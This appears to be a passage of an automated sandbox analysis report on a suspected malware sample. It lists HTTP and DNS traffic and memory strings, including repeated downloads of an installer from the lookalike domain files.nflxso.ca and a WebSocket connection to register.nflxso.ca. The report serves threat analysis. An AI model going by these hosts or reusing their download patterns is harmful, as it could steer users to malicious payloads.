Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SCWmpDDGjPk.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AAAC/rs=AHpOoo_Pl64J0IIHlj2zBtEJ3ZwdaJC3HA/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /downloads/winapp/latest-installer.exe HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows) WinHTTP/Gecko Chrome/9999999Host: files.nflxso.ca
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=kPRasndGkvlenHk&MD=zHV46mV7 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /downloads/winapp/latest-installer.exe HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows) WinHTTP/Gecko Chrome/9999999Host: files.nflxso.ca
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=kPRasndGkvlenHk&MD=zHV46mV7 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /strvn HTTP/1.1Sec-WebSocket-Version: 13Sec-WebSocket-Key: R0PH52ZGGW4pHocLPSKo4A==Connection: UpgradeUpgrade: websocketSec-WebSocket-Extensions: permessage-deflate; client_max_window_bitsHost: register.nflxso.ca:6101
Source: global traffic	HTTP traffic detected: GET /downloads/winapp/latest-version.txt HTTP/1.1user-agent: got (https://github.com/sindresorhus/got)accept-encoding: gzip, deflate, brHost: files.nflxso.caConnection: close

Source: run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: .webmopenhttps://www.youtube.com/uploadexplore equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: files.nflxso.ca
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: register.nflxso.ca

Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://.css
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://.jpg
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://code.google.com/p/closure-compiler/wiki/SourceMaps
Source: node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.certigna.fr/certignarootca.crl01
Source: node.exe, 0000000F.00000003.2232186620.00000000043A0000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000003.2451845105.00000000043A0000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000003.2451094321.00000000043A0000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000002.2923282939.000000000439C000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000002.2922964130.00000000042D7000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000003.2451444266.00000000042D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: node.exe, 0000000F.00000002.2922964130.00000000042D7000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000003.2451444266.00000000042D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crl
Source: node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crl
Source: node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crll
Source: node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crlo
Source: node.exe, 0000000F.00000002.2921222937.0000000001FE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl
Source: node.exe, 0000000F.00000002.2922964130.00000000042D7000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000003.2451444266.00000000042D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: node.exe, 0000000F.00000002.2922964130.00000000042D7000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000003.2451444266.00000000042D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl
Source: node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crlF
Source: node.exe, 0000000F.00000002.2921222937.0000000001FE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl
Source: node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl0
Source: node.exe, 0000000F.00000002.2921222937.0000000001FE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl
Source: node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: node.exe, 0000000F.00000002.2921222937.0000000001FE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl
Source: node.exe, 0000000F.00000003.2232186620.00000000043A0000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000003.2451845105.00000000043A0000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000003.2451094321.00000000043A0000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000002.2923282939.000000000439C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
Source: node.exe, 0000000F.00000003.2238679421.0000000037EC0000.00000004.00001000.00020000.00000000.sdmp, node.exe, 0000000F.00000003.2149276488.0000000004391000.00000004.00000020.00020000.00000000.sdmp, node.exe, 00000017.00000003.2236306908.00000000042F9000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000001E.00000003.2307843415.0000000004399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://files.nflxso.ca/downloads/winapp/latest-installer.exe
Source: node.exe, 00000017.00000002.2260929722.000000000E9C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://files.nflxso.ca/downloads/winapp/latest-installer.exe9
Source: node.exe, 0000000F.00000003.2149276488.0000000004391000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://files.nflxso.ca/downloads/winapp/latest-installer.exet
Source: node.exe, 0000000F.00000003.2232924754.00000000061C0000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000017.00000003.2236306908.00000000042F9000.00000004.00000020.00020000.00000000.sdmp, node.exe, 00000017.00000002.2260929722.000000000E9C0000.00000004.00001000.00020000.00000000.sdmp, node.exe, 0000001E.00000003.2307843415.0000000004399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://files.nflxso.ca/downloads/winapp/latest-version.txt
Source: node.exe, 0000000F.00000002.2925133957.000000001BA00000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000017.00000002.2260929722.000000000E9C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://files.nflxso.ca/downloads/winapp/latest-version.txt9
Source: node.exe, 0000000F.00000003.2238679421.0000000037EC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://files.nflxso.ca/downloads/winapp/latest-version.txtL%
Source: node.exe, 0000000F.00000003.2149276488.0000000004391000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://files.nflxso.ca/downloads/winapp/latest-version.txtl
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://narwhaljs.org)
Source: wnsA071.tmp, 0000000D.00000000.2110524763.000000000040A000.00000008.00000001.01000000.0000000A.sdmp, wnsA071.tmp, 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmp, wnsCCC1.tmp, 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmp, wnsCCC1.tmp, 00000014.00000000.2197500867.000000000040A000.00000008.00000001.01000000.0000000D.sdmp, wnsF0F3.tmp, 00000019.00000002.2279706091.000000000040A000.00000004.00000001.01000000.0000000E.sdmp, wnsF0F3.tmp, 00000019.00000000.2266016309.000000000040A000.00000008.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es
Source: node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es0
Source: node.exe, 0000000F.00000002.2922964130.00000000042D7000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000003.2451444266.00000000042D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/
Source: node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/0
Source: node.exe, 0000000F.00000002.2922964130.00000000042D7000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000003.2451444266.00000000042D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/T
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://src.chromium.org/viewvc/blink/trunk/Source/devtools/front_end/SourceMap.js
Source: run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://support.image-line.com/member/licensebeforeshop.php?ord=%s&u=%s
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://userguide.icu-project.org/strings/properties
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.3waylabs.com/nw/WWW/products/wizcon/vt220.html
Source: node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0
Source: node.exe, 0000000F.00000002.2922964130.00000000042D7000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000003.2451444266.00000000042D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl
Source: node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0
Source: node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm
Source: node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm0U
Source: node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htmICATE-----F
Source: node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es00
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/
Source: node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.firmaprofesional.com/cps0
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.midnight-commander.org/browser/lib/tty/key.c
Source: node.exe, 0000000F.00000003.2232186620.00000000043A0000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000003.2451845105.00000000043A0000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000003.2451094321.00000000043A0000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000002.2923282939.000000000439C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps
Source: node.exe, 0000000F.00000003.2232186620.00000000043A0000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000003.2451845105.00000000043A0000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000003.2451094321.00000000043A0000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000002.2923282939.000000000439C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps0
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.squid-cache.org/Doc/config/half_closed_clients/
Source: node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.unicode.org/copyright.html
Source: run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.soundcloud.com/connect
Source: run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.soundcloud.com/oauth2/token
Source: run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.soundcloud.com/tracks
Source: node.exe, 0000000F.00000002.2913751697.0000000001801000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 0000000F.00000002.2922785102.0000000004240000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2263968941.000000002C540000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000017.00000002.2240618921.0000000001801000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://bugs.chromium.org/p/v8/issues/detail?id=6593
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=745678
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://code.google.com/p/chromium/issues/detail?id=25916
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://console.spec.whatwg.org/#clear
Source: node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://console.spec.whatwg.org/#console-namespace
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://console.spec.whatwg.org/#count
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://console.spec.whatwg.org/#count-map
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://console.spec.whatwg.org/#countreset
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://console.spec.whatwg.org/#table
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://crbug.com/v8/7848
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://crbug.com/v8/8520
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://cs.chromium.org/chromium/src/v8/tools/SourceMap.js?rcl=dd10454c1d
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/SpiderMonkey/Parser_API
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness#Loose_equa
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://encoding.spec.whatwg.org
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://encoding.spec.whatwg.org/#textdecoder
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://encoding.spec.whatwg.org/#textencoder
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://esdiscuss.org/topic/isconstructor#content-11
Source: rundll32.exe, 0000000A.00000002.2283478293.0000000002E10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://files.nflxso.ca/
Source: rundll32.exe, 00000007.00000002.2229301918.0000000002F55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://files.nflxso.ca/d
Source: rundll32.exe, 00000001.00000003.2108933637.0000000002914000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000001.00000002.2143018716.0000000002914000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.2195281526.0000000002F6E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.2229422282.0000000002F6E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.2229301918.0000000002F2A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000A.00000002.2283478293.0000000002DDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://files.nflxso.ca/downloads/winapp/latest-installer.exe
Source: rundll32.exe, 0000000A.00000003.2261300042.0000000002E2B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000A.00000002.2284164999.0000000002E2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://files.nflxso.ca/downloads/winapp/latest-installer.exe-
Source: rundll32.exe, 00000007.00000002.2229301918.0000000002F2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://files.nflxso.ca/downloads/winapp/latest-installer.exe3
Source: node.exe, 0000000F.00000003.2232924754.00000000061C0000.00000004.00001000.00020000.00000000.sdmp, node.exe, 0000000F.00000002.2922870834.0000000004284000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://files.nflxso.ca/downloads/winapp/latest-version.txt
Source: node.exe, 0000000F.00000003.2232924754.00000000061C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://files.nflxso.ca/downloads/winapp/latest-version.txt1
Source: node.exe, 0000000F.00000003.2232924754.00000000061C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://files.nflxso.ca/downloads/winapp/latest-version.txt1%
Source: node.exe, 0000000F.00000003.2232924754.00000000061C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://files.nflxso.ca/downloads/winapp/latest-version.txt;
Source: rundll32.exe, 00000001.00000002.2142874146.00000000028CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://files.nflxso.ca/t
Source: rundll32.exe, 00000001.00000003.2108933637.0000000002914000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.2195281526.0000000002F6E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000A.00000003.2261300042.0000000002E2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://files.nflxso.ca:443/downloads/winapp/latest-installer.exe
Source: run.exe, 00000002.00000003.1768566979.000001981A9C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://forum.image-line.com/
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://gist.github.com/XVilka/8346728#gistcomment-2823421
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/acornjs/acorn/blob/master/acorn/src/identifier.js#L23
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/acornjs/acorn/issues/575
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/antirez/linenoise
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/chalk/ansi-regex/blob/master/index.js
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/chalk/supports-color
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/da-x/rxvt-unicode/tree/v9.22-with-24bit-color
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/estree/estree/blob/a27003adf4fd7bfad44de9cef372a2eacd527b1c/es5.md#regexpliteral
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/google/caja/blob/master/src/com/google/caja/ses/repairES5.js
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/google/caja/blob/master/src/com/google/caja/ses/startSES.js
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/wiki/Source-Maps
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/isaacs/color-support.
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/joyent/node/issues/3295.
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/mafintosh/end-of-stream
